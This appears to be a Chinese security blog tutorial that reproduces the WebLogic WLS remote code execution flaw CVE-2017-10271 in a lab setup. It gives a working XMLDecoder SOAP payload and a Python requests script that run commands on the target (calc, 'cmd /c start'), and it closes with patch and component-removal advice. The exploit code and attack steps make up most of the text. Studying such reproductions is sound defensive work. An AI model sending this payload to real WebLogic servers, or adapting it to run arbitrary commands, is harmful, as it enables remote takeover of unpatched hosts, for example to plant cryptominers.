手把手教你重现WebLogic WLS组件漏洞
漏洞编号:CVE-2017-10271
漏洞描述:WebLogic WLS组件中存在CVE-2017-10271远程代码执行漏洞,可以构造请求对运行WebLogic中间件的主机进行攻击,近期发现此漏洞的利用方式为传播挖矿程序。
受影响WebLogic版本:10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
1 漏洞复现环境搭建
靶机:Windows Server 2008 R2 x64
攻击机:Windows 8 x64
1.1 靶机相关环境配置:
1.1.1 安装JDK:
Java版本:
注:Java不要安装在带有空格的目录下。
1.1.12 安装WebLogic:
WebLogic 版本:10.3.6.0(现官方下载的12.2.1.1.0,12.2.1.2.0版本默认安装无WLS组件)
不勾选 “我希望通过My Oracle Support接收安全更新”。
配置管理员用户名和口令(weblogic\weblogic888)
选择生产模式
若安装选择的默认路径与默认域名,在如下路径中运行
C:\\Oracle\\Middleware\\user_projects\\domains\\base_domain\\WebLogic.cmd
输入配置管理员用户名和口令时设置的用户名和口令(weblogic\weblogic888):
此时访问:https://127.0.0.1:7001/wls-wsat/CoordinatorPortType
若出现如下图的默认页面则环境配置完成:
2 漏洞利用POC:
该POC为在目标主机调用计算器,xml中的string标签红色字符串为远程执行的命令内容。
<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>calc</string>
</void>
<void index="1">
<string></string>
</void>
<void index="2">
<string> </string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
3 漏洞利用过程:
首先查看靶机的IP地址
使用攻击机访问靶机的WLS组件,并用burp把包拦截下来:
https://192.168.1.32:7001/wls-wsat/CoordinatorPortType
使用post方法发送上述POC,并添加Content-Type:text/xml,把Cache-Control修改为no-cache 。
返回的状态码为500:
这时我们再回到靶机,可以看到靶机的计算器已经被调用。
4 漏洞利用脚本:
CVE-2017-10271.py(调用浏览器访问freebuf):
#! -*- coding:utf-8 -*-
import requests
url = "https://192.168.1.32:7001/wls-wsat/CoordinatorPortType"
xml = '''
<soapenv:Envelope xmlns:soapenv="https://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="https://bea.com/2004/06/soap/workarea/">
<java version="1.8" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>cmd</string>
</void>
<void index="1">
<string>/c</string>
</void>
<void index="2">
<string>start https://www.freebuf.com/</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
'''
r =requests.post(url,headers={'Content-Type':'text/xml','Cache-Control':'no-cache'},data=xml)
print r.status_code
print r.text
靶机效果:
5 漏洞修复建议
1. Oracle官方对于WebLogicWLS 组件漏洞(CVE-2017-10271)在10月份的更新补丁中已经进行了修复,建议及时下载更新包,并升级WebLogic。
2. 根据实际环境路径,删除WebLogic wls-wsat组件,并重启服务器。
rm -f /home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf /home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
你也许感兴趣的:
- 不存在的浏览器安全漏洞:PDF 中的 JavaScript
- 【译文】XZ 后门的工作原理
- 蛰伏三年,XZ开源项目维护者转身投“核弹级漏洞”,幸被微软工程师捉 Bug 时发现!
- 【译文】我所知道的关于 Xz 后门的一切信息
- 受 XZ utilities 后门影响的主要 Linux 发行版
- 【译文】用户小心:内容与代码之间的细微差别
- 【译文】苹果 CURL 安全事件 12604 号
- 【译文】我们是如何黑掉Google A.I.的
- 【译文】白宫的软件内存安全呼吁是一种误导
- 【译文】为什么白宫说错了;C 语言技术水平问题
你对本文的反应是: